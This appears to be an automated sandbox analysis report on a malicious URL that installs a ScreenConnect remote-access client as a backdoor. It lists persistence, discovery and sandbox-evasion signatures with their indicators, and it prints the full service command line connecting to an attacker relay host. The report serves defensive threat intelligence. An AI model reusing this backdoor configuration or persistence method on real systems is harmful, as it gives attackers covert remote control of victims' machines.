hxxps://on[.]ovmdjyh[.]com/mne/f3cg[.]html

Analysis

user interaction
yes
max time kernel
149s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
23/08/2026, 06:20

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
https://on.ovmdjyh.com/mne/f3cg.html
Sample260823-g3zh7stdpd

Score

8^/10

backdoor discovery persistence privilege_escalation ransomware rat

Malware Config

Signatures

Sets service image path in registry 3 TTPs 1 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (e35469c544cf444d)\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (e35469c544cf444d)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=instance-kqecy0-relay.screenconnect.com&p=443&s=f35f751a-362e-4957-82a7-a9dd10571065&k=BgIAAACkAABSU0ExAAgAAAEAAQAldC%2b%2f91zI94Bfwww3PbJP9ieGbSUJFHYqf%2bMhpH2jFiLQg%2fHoQh7xK4rIZFbPcr64h6ek9AyYGychRc59hUYTb4bEr%2flI4hW%2bnzZe5wXO9Agt18afqz6uwwFzIVcPr4cuTkAs1JHm2ABDiuXCGr3H7ylQcDnuyeVVcGs2ojzQG9aH0zDxE%2bBRilgHWUCidmZa7uEoYmI37yC71H2jmmuSTYOuN%2f%2fSWSDOIacNnurL816MZ5aK7FFNFYuMrn%2fUGrZqSPyeCvi78ITMYNkFqfKeFhg5N9L5LhPEbMPecB68CNKAH%2b2tC1dDlmJnm9Q5euXgbMvspB3eM4giQseGgZLD&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAh%2ffMggNN2E6MzKR1a1c24wAAAAACAAAAAAAQZgAAAAEAACAAAADmgCWO9T8frpi%2fv%2fjFigQ8%2fqyrUjLzbZkgrYolBlyNKQAAAAAOgAAAAAIAACAAAAAP2Kf%2fVCO3YDcZHfgqrZ03CEFCZqBu7TVvWSYn6hDBiKAEAADF8DxuEv7iLgzO2PDDyVHStRvX5t4qajTzyFA9OUcyCNqT%2f1KuOVv19IZTlyLVTIhOUkQ%2bJg%2bnlgvlBJadrSXBgpUlJ9S2DYo5jiuSqsawcuwdKAZRxKIXzmkQowvv2svu9zvwpJpBoFQHq3evMbaHFATAQ74iSUkHyCv8ZsMu%2fmxef%2fK7XW2UyLQqL11L2jc6GpRpvhxowmSEbffDsMRC4gyPhOYH%2fgzlYumZRRddBHSz5T4HrTpupzttm0c67lFl7EP2IYYhs59QaWVhYdg%2b1DkcbB1dCqp15aDTUwhCjRdUtJcqY1K4ukyTa7Y31g4xn8dvFOkurf4azOBZIQwp%2fEfw%2bWCHudBRkSbqE8E0sLSaoErXs%2fQU8www1pwof9FNbPtZDCjC5D82bZW8awVIb3r%2b7x3k2b9R1I42REl3ERrlS9wT9kE6qZ8MX6fshGdXU9bayDVjjyxVu9PR8BrPAr7%2fpO5o640AY6yGSHukXUtYuZp4JK3bzP5st%2ftqayypxUa%2bT92%2ffN24b%2bK%2fm6hctNTUKD6kyYbQSzz9igV7VQgYUv9SCv%2bMvftQjkOUBq9c0iQjPk%2f6T1%2bMG3ofbF5rphTz1dDka8hUO0TVB%2fkt6RM0%2fILSYtXYYxxVOKfd%2fPGCJzS3ev0R4QonJnQLEpvynjndaE9IrLswpjaWb3ajoefRdhCN9pv45QYWVvNbILHD0eb1tmpypt6U6zaPvJQafLmGsM0l%2fq6wmzbWSqmn1MUZn4VIibCbulWAPiiQFJsPy3Y0GTZF94s9TmabZdnNUE%2f7gXU5QOT1qsj38dCUVsReKiunoPIitV5TFAvr4Jk5Ney2tjjVwx7LIYCfDyl7ovN8nO9CZGqih9QKgEMrjqg6D%2biI1FLnGfWFqptZw3OPeu%2fSaxdQy1RAHzYjmWmCM4Xtz4vHU4rp0reOynzO9ATLKdPMW0IVlTRuzB0zj12A7CkVoMW0wqy2L5qrY9UuaJke9rzwkA5LH7Q74GJPhIDF3O9Z0zg5A9ssin6kzyonlHkbkdhnQZDKGNesIQytX5qMfyKnu2Rj8pyotCozAGrjeH8QKzyV3TAIGsyp2JjIUzKOOMMtBqvlXib%2bYE%2bZCZbJBv1UxYE6ATu7cWDJAvkY8%2bNkgxEQFPIjiSNyZ7IOKJcZHVESuyxS5CwaStXL8%2bwXdtG7LWROeKkr5ectjvY7JU4rhje7ji%2fYokmeaXNY5hRvkB82Z6O4eiw7yZ1UBxeWfCfjRi%2b642WMbO1yz2bHV01LpfdwRJj3SsXhnGE6FM6ZHvL7%2f5rCzepDwuFBdbvvbH%2b15oUKxvDCBAOppAtBjhLdHepRRmmDU3LXJS7DydGR1i%2bp81AhIC2%2byUBi5ZhpcLowMSkyfxLOBUyS7QPeKZeMFcnxRlbX0hRHAd60BO0pba377EqsUbVBWjCx1lJ%2fNSxdQglXVmY%2fEuhEviiXqtBkMDmGkXewRriZX%2bORB4RV7uQ6n99pSIzBGCN9ur3UdmAOTGMH1hpdm1XcCrzlqPv79wpUYgVm8FzC8N92SY1uP7Ufnu2aWuSk7BV0W2aJ3flYbXBPjCDjglAjvEAAAACp3meNU9svUjvDWlo605bZKV5ohfM784EK5Kxmoy5UcgnSJ7d9pyACGDTqZTRaDg64tBLuzXs9t7lE2DKTSB2V\""	ScreenConnect.ClientService.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\International\Geo\Nation	ScreenConnect.ClientSetup.exe

ConnectWise ScreenConnect remote access tool
ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.
backdoor rat
Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Executes dropped EXE 4 IoCs

pid	Process
4276	ScreenConnect.ClientSetup.exe
5988	ScreenConnect.ClientService.exe
5196	ScreenConnect.WindowsClient.exe
2256	ScreenConnect.WindowsClient.exe

Loads dropped DLL 42 IoCs

pid	Process
760	MsiExec.exe
724	rundll32.exe
724	rundll32.exe
724	rundll32.exe
724	rundll32.exe
724	rundll32.exe
724	rundll32.exe
724	rundll32.exe
724	rundll32.exe
724	rundll32.exe
760	MsiExec.exe
2520	rundll32.exe
2520	rundll32.exe
2520	rundll32.exe
2520	rundll32.exe
2520	rundll32.exe
2520	rundll32.exe
2520	rundll32.exe
2520	rundll32.exe
2520	rundll32.exe
760	MsiExec.exe
3352	rundll32.exe
3352	rundll32.exe
3352	rundll32.exe
3352	rundll32.exe
3352	rundll32.exe
3352	rundll32.exe
3352	rundll32.exe
3352	rundll32.exe
3352	rundll32.exe
5780	MsiExec.exe
5944	MsiExec.exe
5988	ScreenConnect.ClientService.exe
5988	ScreenConnect.ClientService.exe
5988	ScreenConnect.ClientService.exe
5988	ScreenConnect.ClientService.exe
5988	ScreenConnect.ClientService.exe
5988	ScreenConnect.ClientService.exe
5988	ScreenConnect.ClientService.exe
5988	ScreenConnect.ClientService.exe
5988	ScreenConnect.ClientService.exe
5988	ScreenConnect.ClientService.exe

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
80	2192	msiexec.exe
83	2192	msiexec.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe

Looks up external IP address via web service 1 TTPs 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
66	ipapi.co
67	ipapi.co
68	ipapi.co

Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

Suspicious Windows Authentication Registry Modification.

persistence privilege_escalation

Authentication Package

T1547.002

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\Authentication Packages = 6d007300760031005f003000000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800650033003500340036003900630035003400340063006600340034003400640029005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c0000000000	msiexec.exe

Drops file in System32 directory 10 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (e35469c544cf444d)\2xglndzy.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (e35469c544cf444d)\pgsrevo1.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (e35469c544cf444d)\user.config	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (e35469c544cf444d)\pgsrevo1.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (e35469c544cf444d)\3kfqvmi0.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (e35469c544cf444d)\3kfqvmi0.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ScreenConnect.WindowsClient.exe.log	ScreenConnect.WindowsClient.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (e35469c544cf444d)\2xglndzy.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (e35469c544cf444d)\pgsrevo1.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (e35469c544cf444d)\3kfqvmi0.tmp	ScreenConnect.ClientService.exe

Drops file in Program Files directory 17 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\ScreenConnect Client (e35469c544cf444d)\ScreenConnect.WindowsBackstageShell.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (e35469c544cf444d)\ScreenConnect.WindowsClient.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (e35469c544cf444d)\ScreenConnect.WindowsClient.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (e35469c544cf444d)\ScreenConnect.WindowsFileManager.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (e35469c544cf444d)\ScreenConnect.WindowsFileManager.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (e35469c544cf444d)\ScreenConnect.ClientService.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (e35469c544cf444d)\ScreenConnect.WindowsAuthenticationPackage.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (e35469c544cf444d)\ScreenConnect.WindowsBackstageShell.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (e35469c544cf444d)\Client.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (e35469c544cf444d)\system.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (e35469c544cf444d)\ScreenConnect.Client.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (e35469c544cf444d)\ScreenConnect.ClientService.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (e35469c544cf444d)\ScreenConnect.Core.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (e35469c544cf444d)\ScreenConnect.Windows.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (e35469c544cf444d)\ScreenConnect.WindowsCredentialProvider.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (e35469c544cf444d)\app.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (e35469c544cf444d)\Client.resources	msiexec.exe

Drops file in Windows directory 13 IoCs

description	ioc	Process
File created	C:\Windows\Installer\e58ce57.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e58ce57.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\Installer\MSID426.tmp	msiexec.exe
File created	C:\Windows\Installer\wix{C01A7895-EBEB-5C72-22AE-5212767C57CD}.SchedServiceConfig.rmi	MsiExec.exe
File created	C:\Windows\Installer\e58ce59.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\{C01A7895-EBEB-5C72-22AE-5212767C57CD}\DefaultIcon	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{C01A7895-EBEB-5C72-22AE-5212767C57CD}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSICFCE.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSID02D.tmp	msiexec.exe
File created	C:\Windows\Installer\{C01A7895-EBEB-5C72-22AE-5212767C57CD}\DefaultIcon	msiexec.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientSetup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
1100	msedge.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000e0d688459d835b340000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff000000002701010000080000e0d688450000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed35000000ffffffff000000000700010000680900e0d68845000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff350000000000000005000000ffffffff000000000700010000f8ff1ae0d68845000000000000f0ff350000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1de0d68845000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ScreenConnect.WindowsClient.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 15 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134319396357167209"	msedge.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.ClientService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe

Modifies registry class 40 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-2D1E-780C92156F3D}	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1788976790-1541110888-1636651838-1000\{B1806564-A066-457E-9EDB-1C214D67092C}	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-2D1E-780C92156F3D}\InprocServer32	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5987A10CBEBE27C522EA252167C775DC\Language = "1033"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\1ABF48792D4B90F23E45965C44FC44D4\5987A10CBEBE27C522EA252167C775DC	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-2D1E-780C92156F3D}\InprocServer32\ThreadingModel = "Apartment"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\5987A10CBEBE27C522EA252167C775DC	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5987A10CBEBE27C522EA252167C775DC\Assignment = "1"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5987A10CBEBE27C522EA252167C775DC\SourceList\Media	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-e35469c544cf444d\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (e35469c544cf444d)\\ScreenConnect.WindowsClient.exe\" \"%1\""	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-e35469c544cf444d\UseOriginalUrlEncoding = "1"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-e35469c544cf444d\shell\open	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-2D1E-780C92156F3D}\InprocServer32\ = "C:\\Program Files (x86)\\ScreenConnect Client (e35469c544cf444d)\\ScreenConnect.WindowsCredentialProvider.dll"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5987A10CBEBE27C522EA252167C775DC\SourceList	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5987A10CBEBE27C522EA252167C775DC\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\26.5.3.9691\\e35469c544cf444d\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-e35469c544cf444d\shell\open\command	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5987A10CBEBE27C522EA252167C775DC	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5987A10CBEBE27C522EA252167C775DC\ProductName = "ScreenConnect Client (e35469c544cf444d)"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5987A10CBEBE27C522EA252167C775DC\SourceList\Media\1 = ";"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5987A10CBEBE27C522EA252167C775DC\InstanceType = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-2D1E-780C92156F3D}\ = "ScreenConnect Client (e35469c544cf444d) Credential Provider"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-e35469c544cf444d	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-e35469c544cf444d\shell\open\command	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5987A10CBEBE27C522EA252167C775DC\AuthorizedLUAApp = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\1ABF48792D4B90F23E45965C44FC44D4	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5987A10CBEBE27C522EA252167C775DC\SourceList\Net	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5987A10CBEBE27C522EA252167C775DC\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\26.5.3.9691\\e35469c544cf444d\\"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\5987A10CBEBE27C522EA252167C775DC\Full	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5987A10CBEBE27C522EA252167C775DC\PackageCode = "5987A10CBEBE27C522EA252167C775DC"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5987A10CBEBE27C522EA252167C775DC\DeploymentFlags = "3"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5987A10CBEBE27C522EA252167C775DC\SourceList\PackageName = "ScreenConnect.ClientSetup.msi"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-e35469c544cf444d\URL Protocol	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-e35469c544cf444d	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5987A10CBEBE27C522EA252167C775DC\AdvertiseFlags = "388"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-e35469c544cf444d\shell	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5987A10CBEBE27C522EA252167C775DC\Clients = 3a0000000000	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5987A10CBEBE27C522EA252167C775DC\Version = "436535299"	msiexec.exe
